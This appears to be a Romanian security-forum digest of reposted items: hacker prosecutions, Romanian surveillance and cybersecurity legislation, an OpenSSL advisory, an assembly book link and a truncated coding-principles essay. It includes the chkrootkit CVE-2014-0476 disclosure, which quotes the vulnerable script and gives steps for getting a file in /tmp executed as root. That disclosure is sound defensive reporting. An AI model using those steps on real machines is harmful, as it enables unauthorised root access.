26 mai. În 18 martie, hackerul Marcel Laz?r Lehel a fost trimis în judecat? pentru infrac?iuni informatice, fiind acuzat c? a spart conturile de e-mail ?i Facebook ale mai multor vedete ?i c?su?ele po?tale electronice ale directorului SRI, George Maior. Procurorii Direc?iei de Investigare a Infrac?iunilor de Criminalitate Organizat? ?i Terorism (DIICOT) - Structura Central? au dispus trimiterea în judecat? a inculpatului "L.M.L, alias «Guccifer»", în stare de arest preventiv, pentru acces f?r? drept la un sistem informatic, prin înc?lcarea m?surilor de securitate, în scopul ob?inerii de date informatice, restric?ionarea accesului la date informatice, transferul neautorizat de date dintr-un sistem informatic ?i violarea secretului coresponden?ei, se ar?ta într-un comunicat remis agen?iei MEDIAFAX. "În cauz? exist? suspiciunea rezonabil? c?, în cursul anului 2013, în baza unei rezolu?ii infrac?ionale unice, inculpatul L.M.L (Marcel Laz?r Lehel, n.r.) a accesat, în mod repetat ?i f?r? drept, prin înc?lcarea m?surilor de securitate, conturile de e-mail apar?inând unor persoane publice din România, cu scopul de a intra în posesia datelor confiden?iale aflate în po?ta electronic?, dup? care a schimbat parolele de autentificare, restric?ionând astfel accesul utilizatorilor de drept la datele informatice aflate în po?ta electronic?", preciza DIICOT. Hackerul ar fi transferat neautorizat, în sistemul s?u informatic, datele aflate în conturile de e-mail compromise, iar apoi ar fi divulgat con?inutul coresponden?ei c?tre public, "ac?iuni frauduloase s?vâr?ite în scopul lez?rii intimit??ii în mediul on-line ?i denigr?rii imaginii publice ale persoanelor în cauz?". Marcel Laz?r Lehel a fost prins în 22 ianuarie, de procurorii DIICOT, în urma unei perchezi?ii la locuin?a acestuia din jude?ul Arad. B?rbatul a fost arestat preventiv în 23 ianuarie, în urma unei decizii a Judec?toriei Sectorului 5. Anchetatorii ar?tau atunci c? hackerul ar fi spart c?su?ele de po?t? electronic? de Yahoo ?i Gmail ale ?efului SRI George Maior, dup? care i-ar fi trimis acestuia, pe adresa de email de pe serverul SRI, un mesaj ce con?inea un link c?tre date extrase din cele dou? c?su?e de email personale. Marcel Laz?r Lehel, care folosea pseudonimele "Guccifer" ?i "Micul fum", ar fi accesat conturile de e-mail ?i de Facebook ale unor persoane publice, printre care Colin Powell, membri ai familiilor Bush ?i Rockefeller ?i oficiali ai administra?iei Obama. În 8 februarie 2012, hackerul "Micul fum" a fost condamnat la trei ani de închisoare cu suspendarea execut?rii pedepsei, de c?tre Judec?toria Sectorului 3 Bucure?ti. Marcel Laz?r Lehel ar fi accesat ilegal conturile de e-mail ?i pe cele de pe platforma de socializare Facebook apar?inând unor angaja?i ai unui trust media ?i unor persoane publice, iar ulterior a f?cut publice discu?ii private ?i fotografii ale acestora. În 19 august 2011, Marcel Laz?r Leher a fost re?inut pentru comiterea a 25 de infrac?iuni de acces f?r? drept la sisteme informatice, 25 de infrac?iuni de modificare f?r? drept ?i restric?ionarea accesului la date informatice, 25 de infrac?iuni de transfer neautorizat de date dintr-un sistem informatic ?i 15 infrac?iuni de violarea secretului coresponden?ei. B?rbatul a fost acuzat c?, în perioada octombrie 2010 - iulie 2011, a accesat f?r? drept, prin înc?lcarea m?surilor de securitate, conturile de e-mail ?i conturile aferente platformei de socializare Facebook, apar?inând lui Drago? Mo?tenescu, Corina Caragea, Laura Cosoi, Roxana Iv?nescu, Rona Hartner, Iliviu Lesu, Daniela Aciu, Irina Reisler C?pitanu, Violeta Babliuc, Monica Barbu, Lenu?a Aciu, Simona R?dulescu, Denisa Barboni, Bianca Dr?gu?anu, Cristian Pulhac, Ada Milea, Organiza?ia de Tineret APDL, ar?tau atunci anchetatorii. Ca mod de operare, Laz?r Lehel ar fi restric?ionat accesul utilizatorilor de drept la sistemele informatice ?i a copiat în mod neautorizat informa?iile, fotografiile ?i coresponden?a privat? stocate în cadrul conturilor p?r?ilor v?t?mate, au stabilit procurorii DIICOT. Ulterior, el a divulgat con?inutul coresponden?ei c?tre public, prin intermediul re?elei de socializare, postând pe conturile personale create special în acest scop - "Micul fum" ?i "Thevem Theven" informa?ii ?i date confiden?iale, respectiv fotografii, mesaje electronice ?i alte discu?ii private purtate de c?tre p?r?ile v?t?mate pe conturile de socializare ?i aplica?iile de chat. Printre cei afecta?i de ac?iunile lui "Guccifer" se afl? ?i actorul american Steve Martin, John Dean, fostul consilier al pre?edintelui Richard Nixon, actri?a Mariel Hemingway, trei membri ai Camerei Lorzilor din Marea Britanie, Laura Manning Johnson, fost analist CIA, George Roche, fost secretar al For?elor Aeriene, ?i pre?edintele MetLife (companie de asigur?ri). Conform unora dintre persoanele afectate, conturile au fost sparte de pe adrese IP din Grecia ?i Rusia, scria Thesmokinggun.com. Hackerul "Guccifer" a revendicat, în februarie 2013, piratarea unor conturi de e-mail apar?inând unor membri ai familiei Bush, divulgând coresponden?? de natur? personal?. În august 2013, "Guccifer" a postat pe pagina sa de Facebook un link c?tre o coresponden?? prin e-mail între fostul secretar de stat american Colin Powell ?i europarlamentarul PSD Corina Cre?u. "Un tr?d?tor al patriei", a scris hackerul pe wall-ul lui Powell pe Facebook, ata?ând un link spre un drive Google cu e-mailuri primite de Powell de la Cre?u în perioada 2010-2011, prin contul s?u pe AOL. În aceste e-mailuri, Cre?u îl nume?te pe Powell, originar din Bronx, New York, "dragostea vie?ii mele" ?i sugereaz? c? scrie despre o poveste de dragoste mai veche, potrivit TheSmokingGun.com. Fostul secretar de stat american a fost nevoit s? ofere clarific?ri despre rela?ia sa cu Corina Cre?u, în urma acestor dezv?luiri. Potrivit mai multor publica?ii, între care The Daily Mail, Huffington Post, New York Daily News ?i postului american de televiziune Fox News, fostul general a r?spuns unor întreb?ri din partea site-ului The Smoking Gun.com, afirmând c? nu ?i-a în?elat so?ia - cu care este c?s?torit de aproximativ 50 de ani - cu Cre?u, în prezent europarlamentar PSD, dup? ce e-mailuri "de natur? foarte persoan?" au fost f?cute publice. Powell a declarat c? a cunoscut-o pe Cre?u în urm? cu aproximativ zece ani, în timp ce era secretar de stat al fostului pre?edinte George W. Bush, iar ea era purt?tor de cuvânt al pre?edintelui României Ion Iliescu. El a subliniat c? s-au întâlnit personal "o dat? sau de dou? ori" în ultimii opt ani. Sursa: Hackerul Guccifer, condamnat la ?apte ani de închisoare cu executare - Mediafax

Proiectul legii securitatii cibernetice a Romaniei: Furnizorii de internet si telefonie trebuie sa permita accesul la datele clientilor catre reprezentantii SRI, MApN, MAI, ORNISS, SIE, STS, SPP, CERT-RO si ANCOM 'la solicitarea motivata' a acestora de Adrian VasilacheVineri, 6 iunie 2014, 12:37 etinatorii de infrastructuri cibernetice (n.a toti furnizorii de internet si telefonie) trebuie sa permita accesul la datele detinute, relevante în contextul solicit?rii, reprezentantilor Serviciului Român de Informa?ii, Ministerului Ap?r?rii Na?ionale, Ministerului Afacerilor Interne, Oficiului Registrului Na?ional al Informa?iilor Secrete de Stat, Serviciului de Informa?ii Externe, Serviciului de Telecomunica?ii Speciale, Serviciului de Protec?ie ?i Paz?, CERT-RO ?i ANCOM la "solicitarea motivata" a acestora. Dispozitia apare in proiectul Legii securitatii cibernetice a Romaniei, initiat si adoptat de Guvern in 30 aprilie, si dezbatut acum in Parlament. Dispozitia din proiectul de lege a fost semnalata initial de juristul Bogdan Manolea pe blogul sau: Drept & Internet - noutati si opinii. Iata ce prevede articolul 17 din acest proiect legislativ: Art. 17 - (1) Pentru realizarea securit??ii cibernetice, de?in?torii de infrastructuri cibernetice au urm?toarele responsabilit??i: a) s? acorde sprijinul necesar, la solicitarea motivat? a Serviciului Român de Informa?ii, Ministerului Ap?r?rii Na?ionale, Ministerului Afacerilor Interne, Oficiului Registrului Na?ional al Informa?iilor Secrete de Stat, Serviciului de Informa?ii Externe, Serviciului de Telecomunica?ii Speciale, Serviciului de Protec?ie ?i Paz?, CERT-RO ?i ANCOM, în îndeplinirea atribu?iilor ce le revin acestora ?i s? permit? accesul reprezentan?ilor desemna?i în acest scop la datele de?inute, relevante în contextul solicit?rii; Proiectul de lege are urmatoarea definitie pentru infrastructuri cibernetice: infrastructuri cibernetice - infrastructuri din domeniul tehnologiei informa?iei ?i comunica?iilor, constând în sisteme informatice, aplica?ii aferente, re?ele ?i servicii de comunica?ii electronice; Proiectul Legii securitatii cibernetice a Romaniei a fost adoptat in sedinta Guvernului din data de 30 aprilie, in aceeasi zi in care a fost scos in dezbatere publica pe site-ul Ministerului pentru Societatea Informationala (MSI). Proiectul a fost inregistrat la Camera Deputatilor in data de 27 mai 2014. Comisia pentru ap?rare, ordine public? ?i siguran?? na?ional? si Comisia pentru tehnologia informa?iei ?i comunica?iilor au avut termen de depunere amendamente data de 3 iunie 2014, iar in 10 iunie 2014 au termen pentru depunere raport. Potrivit proiectului Legii securitatii cibernetice a Romaniei, detinatorii de infrastructuri cibernetice, furnizori de servicii de internet, au obligatia de a-si notifica, de indata, clientii, persoane de drept public si privat, in situatiile in care sistemele informatice utilizate de acestia au fost implicate in incidente sau atacuri cibernetice si de a dispune masurile necesare in vederea restabilirii conditiilor normale de functionare. Nerespectarea acestei obligatii constituie contraventie si se va pedepsi cu amenda de la 500 la 5000 de lei. Cheltuielile firmelor private legate de executarea dispozitiilor acestei legi vor fi deductibile fiscal in conditiile si cuantumul stabilit de Ministerul Finantelor Publice. Pentru detalii privind acest proiect, citeste si: UPDATE Proiectul Legii securitatii cibernetice a Romaniei: Furnizorii de servicii de internet risca amenzi de pana la 5000 lei daca nu-si notifica, de indata, clientii in cazul incidentelor sau atacurilor cibernetice Sursa: ?Proiectul legii securitatii cibernetice a Romaniei: Furnizorii de internet si telefonie trebuie sa permita accesul la datele clientilor catre reprezentantii SRI, MApN, MAI, ORNISS, SIE, STS, SPP, CERT-RO si ANCOM 'la solicitarea motivata' a acesto

UK wants to imprison hackers for life Life terms sought for hacks causing death, injury, or damage to national security. by David Kravets - June 5 2014, 6:28pm GTBDT The UK government is mulling life sentences for hackers whose attacks have catastrophic consequences. The proposal, outlined in the Queen's speech Wednesday, would update the Computer Misuse Act and impose life terms for those convicted of "cyberattacks which result in loss of life, serious illness or injury or serious damage to national security, or a significant risk thereof." The Guardian said the plan would also increase maximum sentences for industrial espionage from 10 to 14 years. It's conceivable that a hacker in the US could get a life term, too, although no individual statute carries that penalty. The longest sentence ever given to a hacker in the US was 20 years—Albert Gonzalez was sentenced in 2010 in Boston after being convicted of leading a conspiracy that hijacked more than 90 million credit and debit card numbers from TJX and other retail outlets. Sursa: UK wants to imprison hackers for life | Ars Technica

Pagubele provocate de Edward Snowden NSA sunt mai mici decât s-a estimat de Lumini?a Bogdan Fostul consultant al NSA, Edward Snowden, nu pare s? fie luat chiar atât de multe documente de la Agen?ia american? pentru Securitate Na?ional? cât s-a crezut ini?ial, potrivit cotidianului The Washington Post. Pagubele sunt înc? importante, dar ''se pare c? el n-a luat atât de multe'' documente cât s-a crezut ini?ial, a declarat directorul serviciilor americane de informa?ii, James Clapper, citat de cotidianul The Washington Post. Fostul consulant al NSA Edward Snowden a declan?at un scandal la nivel mondial, dup? ce oferit presei zeci de mii de documente care dezv?luie amploarea supravegherii efectuate de Agen?ia american? pentru Securitate Na?ional?. ''Suntem pe punctul de a verifica, dar credem c? multe documente pe care le-a consultat n-a putut s? le descarce", a declarat Clapper. "Exist? lucruri pe care noi credeam c? le ob?inuse ?i acum se pare c? nu le-a ob?inut", a ad?ugat el. Potrivit The Washington Post, aceast? analiz? contrasteaz? cu scenariul ini?ial catastrofal conturat de comunitatea de informa?ii din SUA, care a sugerat c? Snowden, între timp inculpat pentru spionaj, "ar fi compromis re?elele de comunicare care formau sistemele de comandament ?i control militar". La un an dup? primele dezv?luiri în cotidianul britanic The Guardian, la 5 iunie 2013, detaliile continu? s? apar? în acest caz. Cotidianul The New York afirma, duminic?, pe baza documentelor oferite de Snowden, c? NSA recupereaz? fotografiile unor persoane pentru a le folosi în programele de recunoa?tere facial?. Sursa: Pagubele provocate de Edward Snowden NSA sunt mai mici decât s-a estimat - Mediafax

Vodafone DEZV?LUIE date despre intercept?rile din anumite state de Marius Oncu - Mediafax Vodafone a dezv?luit vineri existen?a unor conexiuni directe ale agen?iilor guvernamentale la re?elele grupului, care permit interceptarea conversa?iilor în unele dintre ??rile în care opereaz?, îns? pentru România ?i alte câteva state nu a putut prezenta informa?ii fiind interzis de legisla?ie. Conexiunile agen?iilor guvernamentale na?ionale sunt utilizate la scar? larg? în multe dintre cele 29 de ??ri care au avut pe parcursul anului trecut acces la re?eaua grupului, inclusiv în baza unor mandate, a afirmat grupul, într-un raport care rupe t?cerea asupra utiliz?rii la scar? tot mai larg? de c?tre autorit??i a intercept?rilor re?elelor telefonice ?i de transmisie de date pentru a spiona proprii cet??eni, scrie publica?ia britanic? The Guardian. Agen?iile au instalat conexiuni directe la re?eaua Vodafone ?i a altor operatori telecom, ceea ce le permite s? asculte ?i s? înregistreze live conversa?ii, iar în anumite cazuri s? localizeze persoanele. În România, Albania, Egipt, Ungaria, India, Malta, Qatar, Africa de Sud ?i Turcia este interzis? dezv?luirea oric?ror informa?ii legate de interceptarea convorbirilor telefonice ?i mesajelor, inclusiv dac? astfel de capabilit??i exist?. "Este înfior?tor ca guvernele s? poat? accesa convorbirile telefonice cu simpla ap?sare a unui buton", a declarat directorul organiza?iei Liberty, Shami Chakrabarti, citat de cotidianul britanic. În circa ?ase din ??rile în care Vodafone opereaz?, legea oblig? operatorii telecom s? instaleze conexiuni directe de acces sau s? permit? autorit??ilor s? fac? acest lucru. Grupul nu a nominalizat statele, întrucât unele dintre acestea ar putea r?spunde prin contram?suri incluzând arestarea unor angaja?i. Sistemele directe de acces nu necesit? mandate, iar companiile nu au informa?ii despre identitatea sau num?rul clien?ilor viza?i. Supravegherea în mas? poate avea loc pe orice re?ea, f?r? ca autorit??ile s? fie nevoite s? se justifice companiilor. "Acestea sunt scenariile de co?mar pe care le imaginam. Nu a? fi crezut niciodat? c? operatorii telecom sunt complici în asemenea m?sur?. Este un pas curajos al Vodafone ?i sper?m ca ?i alte companii s? prind? mai mult curaj în privin?a dezv?luirilor, dar ceea ce avem nevoie este s? fim noi mai curajo?i ?i s? lupt?m împotriva cererilor ilegale ?i chiar a legilor", a declarat Gus Hosein, director al organiza?uei Privacy International, care a dat în judecat? guvernul britanic pentru intercept?ri în mas?. ?eful diviziei Vodafone pentru informa?ii cu caracter personal, Stephen Deadman, a admis existen?a conexiunilor directe folosite de autorit??i pentru intercept?ri. "Facem un apel pentru a pune cap?t accesului direct ca modalitate pentru autorit??i de a ob?ine date despre comunica?iile popula?iei. F?r? un mandat, nu exist? vizibilitate din exterior. Dac? primim o cerere, putem s? încerc?m s? ne opunem. Faptul c? autorit??ile trebuie s? emit? o hârtie reprezint? o limit? important? asupra modului cum este folosit? aceast? putere", a spus el. Grupul britanic a f?cut apel ca toate conexiunile care ofer? acces direct s? fie oprite, iar legile care le permit s? fie anulate. Toate ??rile ar trebui s? publice date despre num?rul de mandate emise, potrivit Vodafone. Acestea sunt de dou? tipuri - cele pentru con?inutul convorbirilor ?i mesajelor, precum ?i cele pentru metadate (date care descriu alte date - n.r.), care pot acoperi loca?ia utilizatorului unui dispozitiv, timpul ?i data comunica?iei, precum ?i persoanele cu care a comunicat. Cotidianul The Guardian a realizat un tabel în care a inclus la categoria metadate ?i mandatele pentru informa?ii precum nume ?i adrese. Informa?iile sunt pentru 2013 sau pentru cel mai recent an ?i includ date atât din raportul Vodafone, cât ?i disponibile de la autorit??ile na?ionale. Un singur mandat poate viza, îns?, sute de persoane ?i dispozitive, în timp ce o singur? persoan? poate fi ?inta mai multor mandate. Potrivit The Guardian, Malta este una dintre cele mai spionate ??ri din Europa. Vodafone a procesat 3.773 de cereri pentru metadate la o popula?ie de numai 420.000 de oameni. În Italia, unde activit??ile mafiei necesit? un nivel mai ridicat de supraveghere, grupul britanic a primit 606.000 de cereri pentru metadate, mai mult decât în oricare alt? ?ar?. Spania, unde autorit??ile au avut de luptat cu atacuri ale terori?tilor islami?ti ?i basci, Vodafone a primit peste 24.000 de mandate pentru con?inut. Agen?iile din Cehia au transmis aproape 8.000 de cereri pentru con?inut. Dup? Italia, Cehia este ?ara cu cea mai ridicat? accesare de metadate, vizate de 196.000 de mandate în cel mai recent an pentru care au fost publicate cifre. Tanzania, una dintre pu?inele ??ri africane în care activeaz? Vodafone, a emis 99.000 de mandate pentru metadate. Tabelul întocmit de cotidianul britanic noteaz? la România: "Este ilegal? dezv?luirea oric?rui aspect despre modul în care se efectueaz? intercept?rile". Sursa: Vodafone DEZV?LUIE date despre intercept?rile din anumite state. În România divulgarea este interzis? - Mediafax

[h=2]Romania digitala - sa dai cu subsemnatul la WiFi free si cartele pre-pay !?![/h] O propunere de lege de 5 articole adoptata de Guvernul Romaniei in 30 Aprilie 2014 care cere inregistrarea obligatorie a utilizatorilor de free WiFi si a cartelelor pre-pay a trecut in viteza super-sonica prin Senat, iar in Camera Deputatilor are termene de 2 zile pentru depunere amendamente si raport - ne arata adevarata fata a Romaniei digitale dorita de guvernantii nostri - un spatiu virtual in care sa dai cu subsemnatul pentru orice utilizare a tehnicilor de comuncatie si in care (prin noul proiect de lege privind securitatea cibernetica) datele sa fie accesibile direct si fara mandat de toate serviciile secrete si nesecrete. Intr-un stil traditional de ne-dezbatere publica (proiectul NU a fost transmis societatii civile si industriei inainte de adoptarea de guvern si niciuna din comisiile Senatului NU a fost interesata de alte opinii) riscam sa fie adoptate niste articole lacunare si care nu au niciun efect practic serios, in afara de limitarea drepturilor cetatenilor. Dar sa analizam mai in detaliu. Articol complet: Romania digitala - sa dai cu subsemnatul la WiFi free si cartele pre-pay !?!

OpenSSL Security Advisory [05 Jun 2014] ======================================== SSL/TLS MITM vulnerability (CVE-2014-0224) =========================================== An attacker using a carefully crafted handshake can force the use of weak keying material in OpenSSL SSL/TLS clients and servers. This can be exploited by a Man-in-the-middle (MITM) attack where the attacker can decrypt and modify traffic from the attacked client and server. The attack can only be performed between a vulnerable client *and* server. OpenSSL clients are vulnerable in all versions of OpenSSL. Servers are only known to be vulnerable in OpenSSL 1.0.1 and 1.0.2-beta1. Users of OpenSSL servers earlier than 1.0.1 are advised to upgrade as a precaution. OpenSSL 0.9.8 SSL/TLS users (client and/or server) should upgrade to 0.9.8za. OpenSSL 1.0.0 SSL/TLS users (client and/or server) should upgrade to 1.0.0m. OpenSSL 1.0.1 SSL/TLS users (client and/or server) should upgrade to 1.0.1h. Thanks to KIKUCHI Masashi (Lepidum Co. Ltd.) for discovering and researching this issue. This issue was reported to OpenSSL on 1st May 2014 via JPCERT/CC. The fix was developed by Stephen Henson of the OpenSSL core team partly based on an original patch from KIKUCHI Masashi. DTLS recursion flaw (CVE-2014-0221) ==================================== By sending an invalid DTLS handshake to an OpenSSL DTLS client the code can be made to recurse eventually crashing in a DoS attack. Only applications using OpenSSL as a DTLS client are affected. OpenSSL 0.9.8 DTLS users should upgrade to 0.9.8za OpenSSL 1.0.0 DTLS users should upgrade to 1.0.0m. OpenSSL 1.0.1 DTLS users should upgrade to 1.0.1h. Thanks to Imre Rad (Search-Lab Ltd.) for discovering this issue. This issue was reported to OpenSSL on 9th May 2014. The fix was developed by Stephen Henson of the OpenSSL core team. DTLS invalid fragment vulnerability (CVE-2014-0195) ==================================================== A buffer overrun attack can be triggered by sending invalid DTLS fragments to an OpenSSL DTLS client or server. This is potentially exploitable to run arbitrary code on a vulnerable client or server. Only applications using OpenSSL as a DTLS client or server affected. OpenSSL 0.9.8 DTLS users should upgrade to 0.9.8za OpenSSL 1.0.0 DTLS users should upgrade to 1.0.0m. OpenSSL 1.0.1 DTLS users should upgrade to 1.0.1h. Thanks to Jüri Aedla for reporting this issue. This issue was reported to OpenSSL on 23rd April 2014 via HP ZDI. The fix was developed by Stephen Henson of the OpenSSL core team. SSL_MODE_RELEASE_BUFFERS NULL pointer dereference (CVE-2014-0198) ================================================================= A flaw in the do_ssl3_write function can allow remote attackers to cause a denial of service via a NULL pointer dereference. This flaw only affects OpenSSL 1.0.0 and 1.0.1 where SSL_MODE_RELEASE_BUFFERS is enabled, which is not the default and not common. OpenSSL 1.0.0 users should upgrade to 1.0.0m. OpenSSL 1.0.1 users should upgrade to 1.0.1h. This issue was reported in public. The fix was developed by Matt Caswell of the OpenSSL development team. SSL_MODE_RELEASE_BUFFERS session injection or denial of service (CVE-2010-5298) =============================================================================== A race condition in the ssl3_read_bytes function can allow remote attackers to inject data across sessions or cause a denial of service. This flaw only affects multithreaded applications using OpenSSL 1.0.0 and 1.0.1, where SSL_MODE_RELEASE_BUFFERS is enabled, which is not the default and not common. OpenSSL 1.0.0 users should upgrade to 1.0.0m. OpenSSL 1.0.1 users should upgrade to 1.0.1h. This issue was reported in public. Anonymous ECDH denial of service (CVE-2014-3470) ================================================ OpenSSL TLS clients enabling anonymous ECDH ciphersuites are subject to a denial of service attack. OpenSSL 0.9.8 users should upgrade to 0.9.8za OpenSSL 1.0.0 users should upgrade to 1.0.0m. OpenSSL 1.0.1 users should upgrade to 1.0.1h. Thanks to Felix Gröbert and Ivan Fratrić at Google for discovering this issue. This issue was reported to OpenSSL on 28th May 2014. The fix was developed by Stephen Henson of the OpenSSL core team. Other issues ============ OpenSSL 1.0.0m and OpenSSL 0.9.8za also contain a fix for CVE-2014-0076: Fix for the attack described in the paper "Recovering OpenSSL ECDSA Nonces Using the FLUSH+RELOAD Cache Side-channel Attack" Reported by Yuval Yarom and Naomi Benger. This issue was previously fixed in OpenSSL 1.0.1g. References ========== URL for this Security Advisory: http://www.openssl.org/news/secadv_20140605.txt Note: the online version of the advisory may be updated with additional details over time. Sursa: https://www.openssl.org/news/secadv_20140605.txt

Date: Wed, 04 Jun 2014 10:50:57 +0200 From: Giuseppe Iuculano <iuculano@...ian.org> To: oss-security@...ts.openwall.com Subject: CVE-2014-0476 chkrootkit vulnerability Hi, Thomas Stangner reported the following chkrootkit vulnerability. We assigned CVE-2014-0476 Cheers, Giuseppe -------- Original Message -------- Subject: Serious chkrootkit vulnerability Date: Sun, 25 May 2014 00:53:00 +0200 From: Thomas Stangner <thomas.stangner@...zner.de> Organization: Hetzner Online AG To: team@...urity.debian.org Hi, we just found a serious vulnerability in the chkrootkit package, which may allow local attackers to gain root access to a box in certain configurations (/tmp not mounted noexec). The vulnerability is located in the function slapper() in the shellscript chkrootkit: # # SLAPPER.{A,B,C,D} and the multi-platform variant # slapper (){ SLAPPER_FILES="${ROOTDIR}tmp/.bugtraq ${ROOTDIR}tmp/.bugtraq.c" SLAPPER_FILES="$SLAPPER_FILES ${ROOTDIR}tmp/.unlock ${ROOTDIR}tmp/httpd \ ${ROOTDIR}tmp/update ${ROOTDIR}tmp/.cinik ${ROOTDIR}tmp/.b"a SLAPPER_PORT="0.0:2002 |0.0:4156 |0.0:1978 |0.0:1812 |0.0:2015 " OPT=-an STATUS=0 file_port= if ${netstat} "${OPT}"|${egrep} "^tcp"|${egrep} "${SLAPPER_PORT}"> /dev/null 2>&1 then STATUS=1 [ "$SYSTEM" = "Linux" ] && file_port=`netstat -p ${OPT} | \ $egrep ^tcp|$egrep "${SLAPPER_PORT}" | ${awk} '{ print $7 }' | tr -d :` fi for i in ${SLAPPER_FILES}; do if [ -f ${i} ]; then file_port=$file_port $i STATUS=1 fi done if [ ${STATUS} -eq 1 ] ;then echo "Warning: Possible Slapper Worm installed ($file_port)" else if [ "${QUIET}" != "t" ]; then echo "not infected"; fi return ${NOT_INFECTED} fi } The line 'file_port=$file_port $i' will execute all files specified in $SLAPPER_FILES as the user chkrootkit is running (usually root), if $file_port is empty, because of missing quotation marks around the variable assignment. Steps to reproduce: - Put an executable file named 'update' with non-root owner in /tmp (not mounted noexec, obviously) - Run chkrootkit (as uid 0) Result: The file /tmp/update will be executed as root, thus effectively rooting your box, if malicious content is placed inside the file. If an attacker knows you are periodically running chkrootkit (like in cron.daily) and has write access to /tmp (not mounted noexec), he may easily take advantage of this. Suggested fix: Put quotation marks around the assignment. file_port="$file_port $i" I will also try to contact upstream, although the latest version of chkrootkit dates back to 2009 - will have to see, if I reach a dev there. Keep up the good work, Cheers, Thomas Sursa: oss-security - CVE-2014-0476 chkrootkit vulnerability

Real life: WordPress < 3.6.1 PHP Object Injection - VaGoSec

Mai adaug eu o conditie. Sa fiti VIP.

The Art of Assembly Language Programming [TABLE=width: 615] [TR] [TD=width: 560, colspan: 6, align: left]The PDF version of "The Art of Assembly Language Programming" is a complete, high-quality version of the text. It is much easier to read and provides an excellent vehicle for printing your own copy of the text. However, to view and print PDF files, you will need a copy of Adobe's Acrobat reader program. You may obtain a free copy of this program for a wide variety of operating systems directly from Adobe.[/TD] [TD=width: 36][/TD] [/TR] [TR] [TD=width: 1][/TD] [TD=width: 16][/TD] [TD=width: 512, colspan: 5, align: left]If you have installed Adobe Acrobat Reader, clicking on the following links should automatically bring up the PDF version of the specified chapter.[/TD] [TD=width: 48][/TD] [TD=width: 36][/TD] [/TR] [TR] [TD=width: 1][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [TD=width: 224, colspan: 1, align: left] Short Table of Contents Long Table of Contents Forward Chapter 1 Chapter 2 Chapter 3 Chapter 4 Chapter 5 Chapter 6 Chapter 7 Chapter 8 Chapter 9 Chapter 10 Chapter 11 Chapter 12 Chapter 13 Chapter 14 [/TD] [TD=width: 16][/TD] [TD=width: 256, colspan: 2, align: left] Chapter 15 Chapter 16 Chapter 17 Chapter 18 Chapter 19 Chapter 20 Chapter 21 Chapter 22 Chapter 23 Chapter 24 Chapter 25 Note: Appendix A is non-existant Appendix B Appendix C Appendix D Index [/TD] [/TR] [/TABLE] Sursa: Art of Assembly Language, PDF Files

Nu mi se pare nimic critic: https://opencryptoaudit.org/reports/iSec_Final_Open_Crypto_Audit_Project_TrueCrypt_Security_Assessment.pdf

Coding Principles Every Engineer Should Know Throughout my engineering career, I’ve had the opportunity work alongside and learn from many incredibly talented people, solve some serious technical challenges, and scale several successful companies. Recently, I was talking with the engineering team at Box about what I’ve learned along this journey, and what came out of that conversation were my personal engineering principals. These aren’t rules or engineering guidelines. They’re simply the principles that I pay attention to when I write and operate code. Be paranoid. This one comes naturally to me. Since I’m mostly self-taught as a programmer, I never trust computers. I never trust that the system I just launched is really up. That the bug I fixed is really fixed. That code really does work the way I think it does without a test. I don’t trust anything. I don’t even trust myself! I never trust that I understand anything as well as I think I do until I check more than once. Paranoia is my friend, and it should be your friend, too. Always try to find a way to test assumptions along some other path, or get a second set of eyes to see what you’ve missed. Most of the time it’s not needed. Sometimes it’s really important. Don’t lie to the computer. Another way to say this is “avoid leaky abstractions.” Don’t use systems in ways they’re not meant to be used. Don’t count on side effects. Don’t do things that won’t be obvious to the next person because the system wasn’t designed for them or they’re undocumented. If usage is three orders of magnitude more than current usage, then you should probably rethink the design. If the contract implies, but doesn’t guarantee, your use, you should change the component and the contract to be aligned. Computers are nasty things. They always bite when lied to, eventually. Keep it simple. We like building things and solving problems. That’s why we do what we do. But a lot of the time, just because we can see a problem that could be solved, doesn’t mean it’s useful to solve it right now. I always think of myself as a fairly dumb programmer?—?I like clean, simple designs that are easy to understand. And this is a high challenge?—?anyone can solve a problem in a complex way, but only good programmers can solve problems in simple, understandable ways. It’s much harder to really think through the problem and solve only what needs to be solved in a simple, robust manner. Making yourself understood is the most important thing. Most time in code is spent maintaining, not creating. First rule of optimizing: don’t. This is from a good book by John Bentley called Programming Pearls. (It’s explicitly meant to help you learn to think like an experienced programmer. It may be an old book but most of the lessons are incredibly relevant today.) Optimization can take many forms: speed, future-proofing, potential scale, possible uses, etc. The problem is, most optimization is ultimately never used, and, more or less by definition, optimization makes designs more complicated. So, first rule of thumb is don’t optimize until it’s really clear that you understand the problem completely. (His second rule: “don’t optimize, yet.” Meaning, even if you do understand it, don’t optimize until you really need to.) Don’t just fix the bug; fix all possibility of it ever happening again. Don’t be sorry if you made a mistake?—?be angry and make it something you never have to think about again. I hate bugs. I hate systems that let me create bugs. I hate it when my own software lets my fragile human brain down and I create a bug that could have been avoided. And I really, really hate fixing the same bug twice. So I try as much as I can, every single time I fix a bug, to think about the following: where else might this bug be happening now? Where might it happen in the future? What are the adjacent patterns that create similar bugs? And how can I kill all the bastards at once, right now? Question assumptions constantly. Because I have spent most of my time in my own startups, I’ve gotten in the habit of asking myself constantly “Why am I doing this? What problem does it solve? Is there a better way? Is there something else I could do instead that’s more important?” You should have that attitude all the time. Constantly be questioning the assumptions given to you. What’s the real problem you’re solving? Did someone ask you to solve an effect rather than the root cause? Is the solution complete? Over-complete? Is the impact worthwhile? Think long term. Slow down, it goes faster. This might be one of the most important ones. It’s easy to hack things out. As engineers, we like efficiency; we like to build as many things as we can. But if we don’t build for the long term, eventually it gets harder and harder to build anything. Sometimes we don’t understand the problem at first and we write code that we later have to back out. Sometimes we do things that are easy for our local problem, but make things worse or harder for someone else or for a larger problem. Sometimes we rush and don’t finish the design, and this causes much more time later on for someone to fix. Sometimes we don’t bother to write it the right way, we just make a copy or hack something in because we’re under time pressure or don’t want to really think it through. I’ve seen all these things too many times. Others have said this better than I have. But I’ll repeat?—?the goal is building the largest number of great features, reaching the largest number users over time. The area under the curve for a given day doesn’t add much, no matter how much gets done on that day, relative to all the days added together. Think long term. Care about your code. I guess this one doesn’t need much explanation, but it’s still something I see people missing from time to time. Take pride in your work! Care about the code you produce! I usually think of my poor future self, having to deal with my crappy code, when I’m tempted to be lazy and cut a corner. You don’t have to take this to an extreme?—?I used to joke at Google that other engineers treated their code like a pet, where my relationship with mine was more like a ranchers?—?pragmatic, not sentimental. But even still, I always hate it if my code isn’t well designed, doesn’t work well, isn’t readable, all that stuff. Cheap, fast, right?—?pick two. This is the iron triangle of software. This is the way the world of software engineering works. But it’s not an excuse for complacency. In fact, this is your opponent every single day. The difference between good and great programmers is often measured in how well they navigate the iron 